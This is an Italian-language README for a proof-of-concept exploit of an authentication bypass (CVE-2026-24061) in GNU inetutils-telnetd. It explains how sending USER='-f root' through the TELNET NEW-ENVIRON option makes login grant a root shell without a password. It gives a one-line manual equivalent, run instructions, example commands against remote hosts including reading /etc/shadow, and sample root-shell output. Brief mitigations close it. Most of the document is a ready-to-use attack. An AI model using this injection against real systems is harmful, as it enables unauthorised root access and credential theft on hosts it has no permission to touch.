
inetutils-telnetd Bypass dell'autenticazione - funzionante
Una proof-of-concept per la vulnerabilità di bypass dell'autenticazione in GNU inetutils-telnetd.
CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione che colpisce le versioni 1.9.3 fino alla 2.7 di inetutils-telnetd. Consente a un attaccante remoto di ottenere una shell di root su sistemi vulnerabili senza fornire alcuna credenziale.
| Campo | Valore |
|---|
| ID CVE | CVE-2026-24061 |
| Software interessato | GNU inetutils-telnetd |
| Versioni interessate | 1.9.3 – 2.7 |
| Tipo di vulnerabilità | Bypass dell'autenticazione |
| Punteggio CVSS | Critico |
| Vettore di attacco | Rete |
La vulnerabilità sfrutta un difetto nel modo in cui telnetd gestisce la variabile d'ambiente USER ricevuta tramite l'opzione TELNET NEW-ENVIRON (RFC 1572) durante la negoziazione del protocollo.
Negoziazione del protocollo TELNET: Quando un client si connette, il server e il client negoziano le capacità, inclusa l'opzione NEW-ENVIRON, che consente al client di inviare variabili d'ambiente.
Valore USER dannoso: L'exploit invia USER=-f root come variabile d'ambiente durante questa fase di negoziazione.
Passaggio di argomenti non sicuro: Il telnetd vulnerabile passa questo valore non sanificato al programma login.
Iniezione di comandi: Il programma login interpreta -f root come flag da riga di comando:
-f = "forza il login senza autenticazione"root = il nome utente con cui effettuare il loginAccesso root: L'attaccante ottiene una shell di root senza che gli venga mai richiesta una password.
Client invia: USER = "-f root"
telnetd esegue: login -f root
Risultato: Shell di root concessa senza autenticazione
Ciò equivale a eseguire USER='-f root' telnet -a localhost su un sistema con un telnetd vulnerabile.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPZIONI] <target>
| Opzione | Descrizione | Predefinito |
|---|---|---|
host | Hostname o indirizzo IP del target | Obbligatorio |
-p, --port | Porta del target | 23 |
-u, --user | Valore USER da iniettare | -f root |
-c, --command | Esegue un singolo comando (non interattivo) | Nessuno |
-t, --timeout | Timeout di connessione in secondi | 10 |
Shell di root interattiva su localhost:
./exploit.py localhost
Shell di root interattiva su host remoto:
./exploit.py 192.168.1.100
Esegue un singolo comando ed esce:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Login come utente diverso:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Porta non standard:
./exploit.py -p 2323 localhost
Combina le opzioni:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
Quando viene eseguito senza il flag -c, l'exploit ti porta in una shell interattiva:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - Bypass dell'autenticazione in inetutils-telnetd ║
║ Colpisce: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connesso a 192.168.1.100:23
[*] Negoziazione delle opzioni TELNET...
[*] Accettato NEW-ENVIRON (invio di USER='-f root')
[+] Inviato USER='-f root' tramite NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Disabilita telnetd: Se non strettamente necessario, disabilita completamente il servizio telnet
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Usa SSH al suo posto: Sostituisci telnet con SSH per l'accesso remoto
sudo apt install openssh-server
Regole del firewall: Blocca la porta 23 dalle reti non fidate
sudo ufw deny 23/tcp
L'exploit implementa un client TELNET minimale che:
USER=-f root nella risposta ENV_ISQuesto strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
Licenza MIT — Vedi LICENSE per i dettagli.